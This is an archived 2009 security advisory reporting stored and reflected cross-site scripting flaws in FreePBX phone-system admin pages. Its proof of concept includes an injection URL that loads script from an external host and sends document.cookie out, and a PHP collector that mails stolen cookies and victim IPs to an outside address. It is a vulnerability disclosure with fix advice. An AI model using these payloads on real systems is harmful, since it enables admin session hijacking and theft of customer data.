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PBX Phone System 2.x - Multiple Vulnerabilities



EDB-ID: 10645 CVE: 2009-4458 OSVDB-ID: 61357
Author: Global-Evolution Published: 2009-12-24 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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PenTest Information:
====================
Global-Evolution Security Team (~remove) discover multiple Vulnerabilities on PBX Phone System Application.
An attacker can get sensitive customer/admin session-data over multiple Cross-Site-Scripting vulnerabilities.


Details
=======
Tested on OS:		Windows 7 VBox
Tested with Software:	Mozilla Firefox 3.5.x (Portable|Mod)

Vulnerable Products: 	PBX Business Phone Application
Affected Versions: 	v2.6.x & 2.5.2.x
Vulnerability Type:	Multiple Cross Site Scripting (Server-Side & Client-Side)
Security-Risk: 		Low & Medium (1.1 & 1.2)

Vendor-URL: 		http://www.freepbx.org/
Source-URL:		http://www.freepbx.org/download-freepbx

Vendor-Status: 		Not Informed
Patch/Fix-Status:	Fixed version not released
Advisory-Status:	Published | 25.12.2009

Advisory-URL: 		*censored
Report-URL:		*censored

GE DB-ID:           	()
CVE-ID:             	()
OSVDB-ID:           	()




Introduction
============
It's Hard to Beat Free FreePBX is for both developers and people searching for a Business Phone System. 
The new to FreePBX, Asterisk® or FreeSWITCH by PBX. FreePBX is an easy to use GUI (graphical user interface) 
that controls and manages Asterisk, the world's most popular open source telephony engine software. FreePBX 
has been developed and hardened by thousands of volunteers over tens of thousands man hours. FreePBX has been 
downloaded over 5,000,000 times and estimates over 500,000 active phone systems. If you don't know about FreePBX, 
you are probably paying too much for your phone system. Government in Europe & USA mostly use that Software to 
configure Phone System inside of the offices.

(Copy from the Vendor's Homepage: http://www.freepbx.org/)



More Details
============
1.1
Multiple XSS Vulnerabilities are detected on client-side(persistent). An attacker with low privilegs is able 
to include own bad script routines on client-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies) 
of customers/admins over multiple Cross Site Scripting Vulnerabilities.

Vulnerable Module:	
			[+] Trunk/Tech

Path:	/admin/admin/	
File:	config.php	
Para:	?display=trunks&tech=


1.2
Multiple XSS Vulnerabilities are detected on server-side. An attacker with low privilegs is able 
to include own bad script routines on server-side(Example;PHP;JS) of the phone application. Attackers can get Session-Data(Cookies) 
of customers/admins over multiple Cross Site Scripting Vulnerabilities.

Vulnerable Module:	
			[+] Add Recordings
			[+] Add Zap Channel

Proof of Concept
================
This vulnerabilities can be exploited ...

1.1

location.href='https://127.0.0.1:8080/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/etc/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)

<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A"); 
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("notification@global-evolution.info", $subject, $msg);
header ("location: http://127.0.0.1:8080/admin/");
?>



1.2

<form name="editZapchandid" action="" method="post" onsubmit="return checkZapchandid(editZapchandid);">
<input type="hidden" name="extdisplay" value="">
<input type="hidden" name="channel" value="">
<input type="hidden" name="action" value="add">
<table><tr><td colspan="2"><h5>Add Channel<hr></h5></td></tr>
<tr><td><a href="#" class="info">Channel:<span>The Zap Channel number to map to a DID</span></a></td>
<td><input size="5" type="text" name="channel" value="" tabindex="1"></td>
</tr><tr><td><a href="#" class="info">Description:<span>A useful description describing this channel</span></a></td>
<td><input size="40" type="text" name="description" value="INSERT 0WN SCRIPTCODE HERE!!!" tabindex="2"></td>
</tr><tr><td><a href="#" class="info">DID:<span>The DID that this channel represents. The incoming call on this channel 
will be treated as if it came in with this DID and can be managed with Inbound Routing on DIDs</span></a></td>
<td><input size="40" type="text" name="did" value=""  tabindex="3"/></td>
</tr><tr><td colspan="2"><br><input name="Submit" type="submit" value="Submit Changes" tabindex="4">
</td></tr></table></form>



Fix / Patch
============
Restrict on the modules Zap Channel, Recordings & the Tech/Trunk input fields with a more 
secure mask like (;:->"<'*",.[]) & format it with specialchars to get a secure output.  



Security Risk
=============
1.1
An attacker is able to get sessioninformation or include bad script routines with xss on client-side(not persistent). 
The security risk is estimated as low because of client-side.

1.2
An attacker is able to get sessioninformation or include bad script routines with xss on server-side(persistent). 
The security risk is estimated as medium because of server-side.



Authors
=======
The author & writer is part of the private "Global-Evolution" Security(GESEC) Group. 
GESEC Vulnerability-Research Team protects software, services, applications & informs the vendors on a secured base.
More information about Global-Evolution Security ... global-evolution.info

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/   \  ___|  |  /  _ \| __ \\__  \ |  |    ______  |    __)_\  \/ /  _ \|  | |  |  \   __\  |/  _ \ /    \ (c)
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